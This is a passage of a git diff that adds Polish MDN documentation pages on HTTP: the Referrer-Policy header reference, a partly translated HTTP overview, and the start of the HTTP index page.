<dd>...</dd> + <dt>{{HTTPHeader("X-Requested-With")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("X-UA-Compatible")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Contributing">Contributing</h2> + +<p>You can help by <a href="/en-US/docs/MDN/Contribute/Howto/Document_an_HTTP_header">writing new entries</a> or improving the existing ones.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields">Wikipedia page on List of HTTP headers</a></li> + <li><a href="https://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a></li> +</ul> diff --git a/files/pl/web/http/headers/referrer-policy/index.html b/files/pl/web/http/headers/referrer-policy/index.html new file mode 100644 index 0000000000..186868538e --- /dev/null +++ b/files/pl/web/http/headers/referrer-policy/index.html @@ -0,0 +1,260 @@ +--- +title: Zasada Polecającego (Referrer-Policy) +slug: Web/HTTP/Headers/Referrer-Policy +tags: + - HTTP + - Reference + - Referencja + - Referrer-Policy + - Response + - Response Header + - nagłówek HTTP + - nagłówek odpowiedzi + - odpowiedź + - polecający + - prywatność + - referrer + - zasada polecającego +translation_of: Web/HTTP/Headers/Referrer-Policy +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">{{glossary("HTTP header")}} <strong><code>Referrer-Policy</code></strong> kontroluje, w jakim zakresie <a href="/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns">informacje dot. polecającego (referrera)</a> (wysyłane poprzez nagłówek {{HTTPHeader("Referer")}}) powinny być zawarte w żądaniu</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Typ nagłówka</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>nie</td> + </tr> + </tbody> +</table> + +<h2 id="Składnia">Składnia</h2> + +<div class="blockIndicator note"> +<p>Originalna nazwa nagłówka, {{HTTPHeader("Referer")}}, to błędnie zapisane słowo "referrer" ("polecający"). Nagłówek <code>Referrer-Policy</code> nie zawiera tej literówki.</p> +</div> + +<pre class="syntaxbox">Referrer-Policy: no-referrer +Referrer-Policy: no-referrer-when-downgrade +Referrer-Policy: origin +Referrer-Policy: origin-when-cross-origin +Referrer-Policy: same-origin +Referrer-Policy: strict-origin +Referrer-Policy: strict-origin-when-cross-origin +Referrer-Policy: unsafe-url +</pre> + +<h2 id="Dyrektywy">Dyrektywy</h2> + +<dl> + <dt><code>no-referrer</code></dt> + <dd>Nagłówek {{HTTPHeader("Referer")}} zostanie całkowicie pominięty. Żadna informacja dot. polecającego nie zostanie wysłana w żądaniu.</dd> + <dt><code>no-referrer-when-downgrade</code> (domyślna)</dt> + <dd>Zachowanie domyślne, jeśli zasada nie została określona lub jeśli wartość jest niepoprawna. {{glossary("origin")}}, {{glossary("path")}} oraz {{glossary("querystring")}} URLu są wysyłane jako polecający, podczas gdy poziom bezpieczeństwa protokołu pozostaje na tym samym poziomie (HTTP→HTTP, HTTPS→HTTPS) lub jest bezpieczniejszy (HTTP→HTTPS), ale nie gdy destynacja jest mniej bezpieczna (HTTPS→HTTP).</dd> + <dt><code>origin</code></dt> + <dd>Wysyła jedynie {{glossary("origin")}} dokumentu jako jego polecającego. Przykładowo, dokument pod adresem <code>https://example.com/page.html</code> wyśle referrer brzmiący: <code>https://example.com/</code>.</dd> + <dt><code>origin-when-cross-origin</code></dt> + <dd>Wyśle origin, ścieżkę i string z zapytaniem podczas obsługi żądania {{glossary("Same-origin_policy", "same-origin")}}, w innych przypadkach wyśle jedynie origin dokumentu.</dd> + <dt><code>same-origin</code></dt> + <dd>Referrer zostanie wysłany do <a href="/en-US/docs/Web/Security/Same-origin_policy">originów same-site</a>, natomiast żądania cross-origin nie będą zawierać informacji o referrerze.</dd> + <dt><code>strict-origin</code></dt> + <dd>Wyśle origin dokumentu jako referrer, jeśli poziom bezpieczeństwa protokołu zostaje na tym samym poziomie (HTTPS→HTTPS), nie wyśle, jeśli poziom bezpieczeństwa destynacji jest niższy (HTTPS→HTTP).</dd> + <dt><code>strict-origin-when-cross-origin</code></dt> + <dd>Wyśle origin, ścieżkę i string z zapytaniem podczas obsługi żądania same-orign, wyśle jedynie origin, jeśli poziom bezpieczeństwa protokołu pozostaje taki sam (HTTPS→HTTPS), natomiast nie wyśle nagłówka do destynacji o niższym poziomie bezpieczeństwa (HTTPS→HTTP).</dd> + <dt><code>unsafe-url</code></dt> + <dd>Wyśle origin, ścieżkę i string z zapytaniem podczas obsługi jakiegokolwiek zdarzenia, niezależnie od bezpieczeństwa. + <div class="blockIndicator warning"> + <p>Niniejsza zasada może skutkować wyciekiem potencjalnie prywatnych informacji z URLów zasobów HTTPS do niebezpiecznych originów. Mocno się zastanów, zanim wybierzesz to ustawienie.</p> + </div> + </dd> +</dl> + +<h2 id="Integracja_z_HTMLem">Integracja z HTMLem</h2> + +<p>Możesz ustawić zasady polecającego także w HTMLu. Przykładowo, możesz ustawić zasadę polecającego dla całego dokumentu poprzez konfigurację elementu {{HTMLElement("meta")}} z <a href="/en-US/docs/Web/HTML/Element/meta#attr-name">name </a>równe <a href="/en-US/docs/Web/HTML/Element/meta#attr-name"><code>referrer</code></a>:</p> + +<pre class="brush: html"><meta name="referrer" content="origin"></pre> + +<p>Lub ustawić dla określonych żądań poprzez atrybut <code>referrerpolicy</code> na elementach {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}}, {{HTMLElement("script")}} czy {{HTMLElement("link")}}:</p> + +<pre class="brush: html"><a href="http://example.com" referrerpolicy="origin"></pre> + +<p>Alternatywnie, w przypadku elementu <code>a</code>, <code>area</code>, bądź <code>link</code> możesz ustawić <a href="/en-US/docs/Web/HTML/Link_types">relację linku</a> na <code>noreferrer</code> :</p> + +<pre class="brush: html"><a href="http://example.com" rel="noreferrer"></pre> + +<h2 id="Integracja_z_CSSem">Integracja z CSSem</h2> + +<p>CSS może przechwytywać zasoby wyszczególnione w arkuszach stylów. Niniejsze zasoby również podlegają zasadzie polecającego:</p> + +<ul> + <li>Zewnętrzne arkusze stylów CSS używają domyślnej zasady (<code>no-referrer-when-downgrade</code>) chyba, że jest nadpisana przez nagłówek HTTP <code>Referrer-Policy</code> w odpowiedzi arkusza stylów CSS.</li> + <li>Dla elementów {{HTMLElement("style")}} lub<a href="/en-US/docs/Web/API/HTMLElement/style"> atrybutów</a> <a href="/en-US/docs/Web/API/HTMLElement/style"><code>style</code></a> aplikowana jest zasada właściciela dokumentu.</li> +</ul> + +<h2 id="Przykłady">Przykłady</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Zasada</th> + <th scope="col">Document</th> + <th scope="col">Nawigacja do</th> + <th scope="col">Referrer</th> + </tr> + </thead> + <tbody> + <tr> + <th><code>no-referrer</code></th> + <td>https://example.com/page</td> + <td><em>gdziekolwiek</em></td> + <td><em>(no referrer)</em></td> + </tr> + <tr> + <th rowspan="3"><code>no-referrer-when-downgrade</code></th> + <td rowspan="3">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td><strong>http</strong>://example.org</td> + <td><em>(no referrer)</em></td> + </tr> + <tr> + <th><code>origin</code></th> + <td>https://example.com/page</td> + <td><em>anywhere</em></td> + <td>https://example.com/</td> + </tr> + <tr> + <th rowspan="3"><code>origin-when-cross-origin</code></th> + <td rowspan="3">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><strong>http</strong>://example.com/page</td> + <td>https://example.com/</td> + </tr> + <tr> + <th rowspan="2"><code>same-origin</code></th> + <td rowspan="2">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td><em>(no referrer)</em></td> + </tr> + <tr> + <th rowspan="3"><code>strict-origin</code></th> + <td rowspan="2">https://example.com/page</td> + <td>https://mozilla.org</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><strong>http</strong>://example.org</td> + <td><em>(no referrer)</em></td> + </tr> + <tr> + <td><strong>http</strong>://example.com/page</td> + <td><em>anywhere</em></td> + <td>http://example.com/</td> + </tr> + <tr> + <th rowspan="3"><code>strict-origin-when-cross-origin</code></th> + <td rowspan="3">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><strong>http</strong>://example.org</td> + <td><em>(no referrer)</em></td> + </tr> + <tr> + <th><code>unsafe-url</code></th> + <td>https://example.com/page?q=123</td> + <td><em>anywhere</em></td> + <td>https://example.com/page?q=123</td> + </tr> + </tbody> +</table> + +<h3 id="Określanie_zasady_awaryjnej">Określanie zasady awaryjnej</h3> + +<p>Jeśli chcesz określić zasadę awaryjną na wypadek, gdy pożądana zasada nie jest wspierana przez daną przeglądarkę, użyj listy oddzielonej przecinkiem, gdzie na samym końcu wpisujesz pożądaną zasadę:</p> + +<pre><code>Referrer-Policy: no-referrer, strict-origin-when-cross-origin</code></pre> + +<p>W przypadku powyższego scenariusza, <code>no-referrer</code> zostanie użyty jedynie, jeśli <code>strict-origin-when-cross-origin</code> nie jest wspierany przez daną przeglądarkę.</p> + +<p class="note">Określanie wielu wartości jest wspierane jedynie w nagłówku HTTP <code>Referrer-Policy</code>, nie jest natomiast w atrybucie <code>referrerpolicy</code>.</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://w3c.github.io/webappsec-referrer-policy/#referrer-policy-header">Zasada Referrera </a></td> + <td>Wersja robocza redaktora</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<div class="hidden">Tabela kompatybilności na tej stronie jest generowana z danych strukturalnych. Jeśli chcesz mieć swój wkład w tworzenie tych danych, sprawdź <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam żądanie pull.</div> + +<p>{{Compat("http.headers.Referrer-Policy")}}</p> + +<div class="note"> +<ul> + <li>Od wersji 53 w górę, Gecko posiada preferencję dostępną w <code>about:config</code>, by móc pozwolić użytkownikom na ustawienie ich domyślnego <code>Referrer-Policy</code> — <span class="quote"> <code>network.http.referer.userControlPolicy</code>.</span></li> + <li>Od wersji 59 w górę (Zobacz: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=587523">#587523</a>), zastąpiono ją przez <code>network.http.referer.defaultPolicy</code> oraz <code>network.http.referer.defaultPolicy.pbmode</code>.</li> +</ul> + +<p>Dopuszczalne wartości to:</p> + +<ul> + <li>0 — <code>no-referrer</code></li> + <li>1 — <code>same-origin</code></li> + <li>2 — <code>strict-origin-when-cross-origin</code></li> + <li>3 — <code>no-referrer-when-downgrade</code> (domyślna)</li> +</ul> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{interwiki("wikipedia", "HTTP_referer", "HTTP referer on Wikipedia")}}</li> + <li>Kiedy używać <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>: {{domxref("Request.referrerPolicy")}}</li> + <li>Przestarzała dyrektywa <span style="white-space: nowrap;">{{HTTPHeader("Content-Security-Policy")}}</span> {{HTTPHeader("Content-Security-Policy/referrer", "referrer")}} {{Obsolete_Inline}}</li> + <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Zasada same-origin</a></li> + <li> + <p><a href="https://blog.mozilla.org/security/2015/01/21/meta-referrer/">Tighter Control Over Your Referrers – Mozilla Security Blog</a></p> + </li> +</ul> diff --git a/files/pl/web/http/http_wiadomosci_ogólne/index.html b/files/pl/web/http/http_wiadomosci_ogólne/index.html new file mode 100644 index 0000000000..5fe95ca7ea --- /dev/null +++ b/files/pl/web/http/http_wiadomosci_ogólne/index.html @@ -0,0 +1,178 @@ +--- +title: HTTP - wiadomości ogólne +slug: Web/HTTP/HTTP_wiadomosci_ogólne +tags: + - HTML + - HTTP + - Mechanika stron + - Wstęp +translation_of: Web/HTTP/Overview +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><span class="seoSummary"><strong>HTTP</strong> stanowi</span> {{Glossary("protokół")}}, który umożliwia przechwytywanie zasobów, np. dokumentów HTML. Stanowi <span class="seoSummary">podstawę każdej wymiany danych w Internecie i jest protokołem klient-serwer, co oznacza, że żądania są inicjowane przez odbiorcę, przeważnie przeglądarkę internetową. Kompletny dokument jest rekonstruowany z różnych przechwyconych subdokumentów, np. tekstu, opisu szablonu, obrazków, video, skryptów itd</span>.</p> + +<p><img alt="A Web document is the composition of different resources" src="https://mdn.mozillademos.org/files/13677/Fetching_a_page.png" style="height: 319px; width: 545px;"></p> + +<p>Klienci i serwery komunikują się poprzez wymianę pojedynczych komunikatów (w przeciwieństwie do strumienia danych). Komunikaty wysyłane przez klienta, przeważnie przeglądarkę internetową, nazywane są <em>żądaniami</em>, a wiadomości wysyłane w odpowiedzi przez serwer <em>odpowiedziami</em>.</p> + +<p><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;">Zaprojektowany na początku lat 90. HTTP jest protokołem elastycznym, który wyewoluował na przetrzeni czasu. Jest to protokół warstwy aplikacji, który jest wysyłany nad {{Glossary("TCP")}} lub nad połączeniem TCP zaszyfrowanym w {{Glossary("TLS")}}, chociaż dowolny, godny zaufania protokół transportu mógłby zostać teoretycznie użyty. Z powodu swojej rozszerzalności używany jest nie tylko do przechwytywania dokumentów hipertekstowych, ale również do obrazów i video, bądź do dodawania treści na serwery, jak dane wprowadzane do formularzy HTML. HTTP może być również używany do przechwytywania części dokumentów, aby na żądanie aktualizować strony WWW.</p> + +<h2 id="Komponenty_systemów_opartych_o_HTTP">Komponenty systemów opartych o HTTP </h2> + +<p>HTTP to protokół klient-serwer: żądania są wysyłane przez jedną jednostkę, agenta użytkownika (lub proxy w jego imieniu). Przeważnie użytkownika jest jednoznaczny z przeglądarką, ale tak naprawdę może być wszystkim, np. robotem przemierzającym sieć, by rozpowszechnić i utrzymywać indeks wyszukiwarki.</p> + +<p>Każde indywidualne żądanie jest wysyłane na serwer, który je obsługuje i dostarcza informację zwrotną, zwaną <em>odpowiedzią</em>. Pomiędzy klientem a serwerem znajduje się wiele jednostek, kolektywnie nazywanych {{Glossary("Proxy_server", "proxies")}}, które zajmują się różnymi operacjami i funkcjonują jako bramki lub np. {{Glossary("Cache", "caches")}}.</p> + +<p><img alt="Client server chain" src="https://mdn.mozillademos.org/files/13679/Client-server-chain.png"></p> + +<p>W rzeczywistości pomiędzy przeglądarką i serwerem istnieje więcej komputerów obsługujących żądania: są to routery, modemy itd. Dzięki temu, że układ sieci jest warstwowy, znajdują się one w warstwach sieci i transportu. HTTP znajduje się na samej górze, w warstwie aplikacji. Mimo, że diagnoza problemów pojawiających się sieci jest bardzo istotna, warstwy znajdujące się poniżej przeważnie są nieistotne przy opisie HTTP.</p> + +<h3 id="Klient_agent_użytkownika_user-agent">Klient: agent użytkownika (user-agent)</h3> + +<p><em>User-agent</em> to każde narzędzie, które działa w imieniu użytkownika. Najczęściej jest nim przeglądarka internetowa, mogą to byc także programy używane przez programistów do debugowania ich aplikacji.</p> + +<p>Przegladarka jest <strong>zawsze</strong> jednostką inicjującą żądanie. Nigdy nie jest nim serwer (jednakże na przestrzeni lat, niektóre mechanizmy zostały dodane, w celu symulacji wiadomości inicjowanych przez serwer)</p> + +<p>Aby zaprezentować stronę internetowa, przeglądarka wysyła orginalne żądanie, aby wydobyć dokument HTML, który reprezentuje tę stronę. Przeglądarka analizuje plik, robiąc tworząc dodatkowe żądania korespondujące ze skryptami, informacją o układzie strony do wyświetlenia (CSS), i pod zasobami zawartymi w stronie (najczęściej obrazy i wideo). Następnie przeglądarka łączy te zasoby aby zaprezentować uzytkownikowi kompletny dokument - stronę internetową. Skrypty wykonywane przez przeglądarkę mogą wydobywać więcej zasobów w kolejnych fazach oraz odpowiednio aktualizować stronę.</p> + +<p>Strona internetowa jest documentem hipertekstowym. To znaczy niektórę części wyświetlanego tekstu są linkami, które mogą być aktywowane (najczęściej przez kliknięcie) aby włączyć nową strone internetową, pozwalającymi uzytkownikowi kierować jego user-agentów i nawigować w sieci. Przeglądarka tłumaczy te wytyczne poprzez żądania HTTP a następnie interpretuje odpowiedzi HTTP aby przedstawić użytkownikowi jasną odpowiedź</p> + +<h3 id="The_Web_server">The Web server</h3> + +<p>On the opposite side of the communication channel, is the server, which <em>serves</em> the document as requested by the client. A server appears as only a single machine virtually: this is because it may actually be a collection of servers, sharing the load (load balancing) or a complex piece of software interrogating other computers (like cache, a DB server, or e-commerce servers), totally or partially generating the document on demand.</p> + +<p>A server is not necessarily a single machine, but several server software instances can be hosted on the same machine. With HTTP/1.1 and the {{HTTPHeader("Host")}} header, they may even share the same IP address.</p> + +<h3 id="Proxies">Proxies</h3> + +<p>Between the Web browser and the server, numerous computers and machines relay the HTTP messages. Due to the layered structure of the Web stack, most of these operate at the transport, network or physical levels, becoming transparent at the HTTP layer and potentially making a significant impact on performance. Those operating at the application layers are generally called <strong>proxies</strong>. These can be transparent, forwarding on the requests they receive without altering them in any way, or non-transparent, in which case they will change the request in some way before passing it along to the server. Proxies may perform numerous functions:</p> + +<ul> + <li>caching (the cache can be public or private, like the browser cache)</li> + <li>filtering (like an antivirus scan or parental controls)</li> + <li>load balancing (to allow multiple servers to serve the different requests)</li> + <li>authentication (to control access to different resources)</li> + <li>logging (allowing the storage of historical information)</li> +</ul> + +<h2 id="Basic_aspects_of_HTTP">Basic aspects of HTTP</h2> + +<h3 id="HTTP_is_simple">HTTP is simple</h3> + +<p>HTTP is generally designed to be simple and human readable, even with the added complexity introduced in HTTP/2 by encapsulating HTTP messages into frames. HTTP messages can be read and understood by humans, providing easier testing for developers, and reduced complexity for newcomers.</p> + +<h3 id="HTTP_is_extensible">HTTP is extensible</h3> + +<p>Introduced in HTTP/1.0, <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a> make this protocol easy to extend and experiment with. New functionality can even be introduced by a simple agreement between a client and a server about a new header's semantics.</p> + +<h3 id="HTTP_is_stateless_but_not_sessionless">HTTP is stateless, but not sessionless</h3> + +<p>HTTP is stateless: there is no link between two requests being successively carried out on the same connection. This immediately has the prospect of being problematic for users attempting to interact with certain pages coherently, for example, using e-commerce shopping baskets. But while the core of HTTP itself is stateless, HTTP cookies allow the use of stateful sessions. Using header extensibility, HTTP Cookies are added to the workflow, allowing session creation on each HTTP request to share the same context, or the same state.</p> + +<h3 id="HTTP_and_connections">HTTP and connections</h3> + +<p>A connection is controlled at the transport layer, and therefore fundamentally out of scope for HTTP. Though HTTP doesn't require the underlying transport protocol to be connection-based; only requiring it to be <em>reliable</em>, or not lose messages (so at minimum presenting an error). Among the two most common transport protocols on the Internet, TCP is reliable and UDP isn't. HTTP therefore relies on the TCP standard, which is connection-based.</p> + +<p>Before a client and server can exchange an HTTP request/response pair, they must establish a TCP connection, a process which requires several round-trips. The default behavior of HTTP/1.0 is to open a separate TCP connection for each HTTP request/response pair. This is less efficient than sharing a single TCP connection when multiple requests are sent in close succession.</p> + +<p>In order to mitigate this flaw, HTTP/1.1 introduced <em>pipelining</em> (which proved difficult to implement) and <em>persistent connections</em>: the underlying TCP connection can be partially controlled using the {{HTTPHeader("Connection")}} header. HTTP/2 went a step further by multiplexing messages over a single connection, helping keep the connection warm and more efficient.</p> + +<p>Experiments are in progress to design a better transport protocol more suited to HTTP. For example, Google is experimenting with <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a> which builds on UDP to provide a more reliable and efficient transport protocol.</p> + +<h2 id="What_can_be_controlled_by_HTTP">What can be controlled by HTTP</h2> + +<p>This extensible nature of HTTP has, over time, allowed for more control and functionality of the Web. Cache or authentication methods were functions handled early in HTTP history. The ability to relax the <em>origin constraint</em>, by contrast, has only been added in the 2010s.</p> + +<p>Here is a list of common features controllable with HTTP.</p> + +<ul> + <li><em><a href="/en-US/docs/Web/HTTP/Caching">Caching</a></em><br> + How documents are cached can be controlled by HTTP. The server can instruct proxies and clients, about what to cache and for how long. The client can instruct intermediate cache proxies to ignore the stored document.</li> + <li><em>Relaxing the origin constraint</em><br> + To prevent snooping and other privacy invasions, Web browsers enforce strict separation between Web sites. Only pages from the <strong>same origin</strong> can access all the information of a Web page. Though such constraint is a burden to the server, HTTP headers can relax this strict separation on the server side, allowing a document to become a patchwork of information sourced from different domains; there could even be security-related reasons to do so.</li> + <li><em>Authentication</em><br> + Some pages may be protected so that only specific users can access them. Basic authentication may be provided by HTTP, either using the {{HTTPHeader("WWW-Authenticate")}} and similar headers, or by setting a specific session using <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a>.</li> + <li><em><a href="/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling">Proxy and tunneling</a></em><br> + Servers or clients are often located on intranets and hide their true IP address from other computers. HTTP requests then go through proxies to cross this network barrier. Not all proxies are HTTP proxies. The SOCKS protocol, for example, operates at a lower level. Other protocols, like ftp, can be handled by these proxies.</li> + <li><em>Sessions</em><br> + Using HTTP cookies allows you to link requests with the state of the server. This creates sessions, despite basic HTTP being a state-less protocol. This is useful not only for e-commerce shopping baskets, but also for any site allowing user configuration of the output.</li> +</ul> + +<h2 id="HTTP_flow">HTTP flow</h2> + +<p>When a client wants to communicate with a server, either the final server or an intermediate proxy, it performs the following steps:</p> + +<ol> + <li>Open a TCP connection: The TCP connection is used to send a request, or several, and receive an answer. The client may open a new connection, reuse an existing connection, or open several TCP connections to the servers.</li> + <li>Send an HTTP message: HTTP messages (before HTTP/2) are human-readable. With HTTP/2, these simple messages are encapsulated in frames, making them impossible to read directly, but the principle remains the same. For example: + <pre class="line-numbers language-html notranslate"><code class="language-html">GET / HTTP/1.1 +Host: developer.mozilla.org +Accept-Language: fr</code></pre> + </li> + <li>Read the response sent by the server, such as: + <pre class="line-numbers language-html notranslate"><code class="language-html">HTTP/1.1 200 OK +Date: Sat, 09 Oct 2010 14:28:02 GMT +Server: Apache +Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT +ETag: "51142bc1-7449-479b075b2891b" +Accept-Ranges: bytes +Content-Length: 29769 +Content-Type: text/html + +<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)</code></pre> + </li> + <li>Close or reuse the connection for further requests.</li> +</ol> + +<p>If HTTP pipelining is activated, several requests can be sent without waiting for the first response to be fully received. HTTP pipelining has proven difficult to implement in existing networks, where old pieces of software coexist with modern versions. HTTP pipelining has been superseded in HTTP/2 with more robust multiplexing requests within a frame.</p> + +<h2 id="HTTP_Messages">HTTP Messages</h2> + +<p>HTTP messages, as defined in HTTP/1.1 and earlier, are human-readable. In HTTP/2, these messages are embedded into a binary structure, a <em>frame</em>, allowing optimizations like compression of headers and multiplexing. Even if only part of the original HTTP message is sent in this version of HTTP, the semantics of each message is unchanged and the client reconstitutes (virtually) the original HTTP/1.1 request. It is therefore useful to comprehend HTTP/2 messages in the HTTP/1.1 format.</p> + +<p>There are two types of HTTP messages, requests and responses, each with its own format.</p> + +<h3 id="Requests">Requests</h3> + +<p>An example HTTP request:</p> + +<p><img alt="A basic HTTP request" src="https://mdn.mozillademos.org/files/13687/HTTP_Request.png" style="height: 336px; width: 693px;"></p> + +<p>Requests consists of the following elements:</p> + +<ul> + <li>An HTTP <a href="/en-US/docs/Web/HTTP/Methods">method</a>, usually a verb like {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} or a noun like {{HTTPMethod("OPTIONS")}} or {{HTTPMethod("HEAD")}} that defines the operation the client wants to perform. Typically, a client wants to fetch a resource (using <code>GET</code>) or post the value of an <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML form</a> (using <code>POST</code>), though more operations may be needed in other cases.</li> + <li>The path of the resource to fetch; the URL of the resource stripped from elements that are obvious from the context, for example without the {{Glossary("protocol")}} (<code>http://</code>), the {{Glossary("domain")}} (here, <code>developer.mozilla.org</code>), or the TCP {{Glossary("port")}} (here, <code>80</code>).</li> + <li>The version of the HTTP protocol.</li> + <li>Optional <a href="/en-US/docs/Web/HTTP/Headers">headers</a> that convey additional information for the servers.</li> + <li>Or a body, for some methods like <code>POST</code>, similar to those in responses, which contain the resource sent.</li> +</ul> + +<h3 id="Responses">Responses</h3> + +<p>An example response:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13691/HTTP_Response.png" style="height: 494px; width: 758px;"></p> + +<p>Responses consist of the following elements:</p> + +<ul> + <li>The version of the HTTP protocol they follow.</li> + <li>A <a href="/en-US/docs/Web/HTTP/Status">status code</a>, indicating if the request was successful, or not, and why.</li> + <li>A status message, a non-authoritative short description of the status code.</li> + <li>HTTP <a href="/en-US/docs/Web/HTTP/Headers">headers</a>, like those for requests.</li> + <li>Optionally, a body containing the fetched resource.</li> +</ul> + +<h2 id="APIs_based_on_HTTP">APIs based on HTTP</h2> + +<p>The most commonly used API based on HTTP is the {{domxref("XMLHttpRequest")}} API, which can be used to exchange data between a {{Glossary("user agent")}} and a server. The modern {{domxref("Fetch API")}} provides the same features with a more powerful and flexible feature set.</p> + +<p>Another API, <a href="/en-US/docs/Web/API/Server-sent_events">server-sent events</a>, is a one-way service that allows a server to send events to the client, using HTTP as a transport mechanism. Using the {{domxref("EventSource")}} interface, the client opens a connection and establishes event handlers. The client browser automatically converts the messages that arrive on the HTTP stream into appropriate {{domxref("Event")}} objects, delivering them to the event handlers that have been registered for the events' {{domxref("Event.type", "type")}} if known, or to the {{domxref("EventSource.onmessage", "onmessage")}} event handler if no type-specific event handler was established.</p> + +<h2 id="Conclusion">Conclusion</h2> + +<p>HTTP is an extensible protocol that is easy to use. The client-server structure, combined with the ability to simply add headers, allows HTTP to advance along with the extended capabilities of the Web.</p> + +<p>Though HTTP/2 adds some complexity, by embedding HTTP messages in frames to improve performance, the basic structure of messages has stayed the same since HTTP/1.0. Session flow remains simple, allowing it to be investigated, and debugged with a simple <a href="/en-US/docs/Tools/Network_Monitor">HTTP message monitor</a>.</p> diff --git a/files/pl/web/http/index.html b/files/pl/web/http/index.html new file mode 100644 index 0000000000..ae21c93fa1 --- /dev/null +++ b/files/pl/web/http/index.html @@ -0,0 +1,89 @@ +--- +title: HTTP +slug: Web/HTTP +tags: + - HTTP + - Hipertekst + - Reference + - Referencja + - TCP/IP + - TopicStub + - Web + - 'l10n:priority' +translation_of: Web/HTTP +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><strong><dfn>Protokół Przesyłania Danych Hipertekstowych (Hypertext Transfer Protocol, HTTP)</dfn></strong> to protokół <a href="https://en.wikipedia.org/wiki/Application_Layer">warstwy aplikacji</a>, odpowiedzialny za transmisję dokumentów hipermedialnych, jak np. HTML. Został stworzony do komunikacji pomiędzy przeglądarkami, a serwerami webowymi, ale może być używany również w innych celach. HTTP opiera się na klasycznym <a href="https://en.wikipedia.org/wiki/Client%E2%80%93server_model">modelu klient-serwer</a>, gdzie klient inicjuje połączenie poprzez wysłanie żądania, następnie czeka na odpowiedź. HTTP jest <a href="https://en.wikipedia.org/wiki/Stateless_protocol">protokołem bezstanowym</a>, co oznacza, że serwer nie przechowuje żadnych danych (stanów) pomiędzy oboma żądaniami. Mimo, że często opiera się na warstwie TCP/IP, może być używany także na godnej zaufania <a href="http://en.wikipedia.org/wiki/Transport_Layer">warstwie transportowej</a>, tj. protokół, który nie traci po cichu komunikatów, jak ma to miejsce w przypadku UDP. <a href="https://en.wikipedia.org/wiki/Reliable_User_Datagram_Protocol">RUDP</a>, wiarygodna aktualizacja UDP, może stanowić odpowiednią alternatywę.</p> + +<div class="column-container"> +<div class="column-half"> +<h2 id="Samouczki">Samouczki</h2> + +<p>Poprzez samouczki i instrukcje ucz się, jak używać HTTP.</p> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview">HTTP - wiadomości ogólne</a></dt> + <dd>Podstawowe cechy protokołu klient-serwer: co robi i do czego w założeniu służy.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching">Cache HTTP</a></dt> + <dd>Buforowanie (caching) jest bardzo ważne z punktu widzenia szybkości działania stron WWW. Ten artykuł opisuje różne metody buforowania i jak używać nagłówków HTTP, by ten proces kontrolować.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">Ciasteczka HTTP</a></dt> + <dd>Jak działają ciasteczka (cookies) jest określone w <a href="http://tools.ietf.org/html/rfc6265">RFC 6265</a>. Podczas obsługi żądania HTTP, serwer może wysłać nagłówek HTTP <code>Set-Cookie</code> z odpowiedzią. Następnie klient zwraca wartość ciasteczka z każdym żądaniem do tego samego serwera w formie nagłówka żądania <code>Cookie</code>. Ciasteczko może być również ustawione na wygasające wraz z nadejściem ustalonej daty lub ograniczone do konkretnej domeny i ścieżki.</dd> + <dt><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a></dt> + <dd><strong>Żądania HTTP między stronami (cross-site) </strong>to żądania HTTP z zasobów pochodzących <strong>z innej domeny</strong>, niż domena zasobu zgłaszającego żądanie. Przykładowo strona HTML z Domeny A (<code>http://domaina.example/</code>) żąda otrzymania obrazka z Domeny B 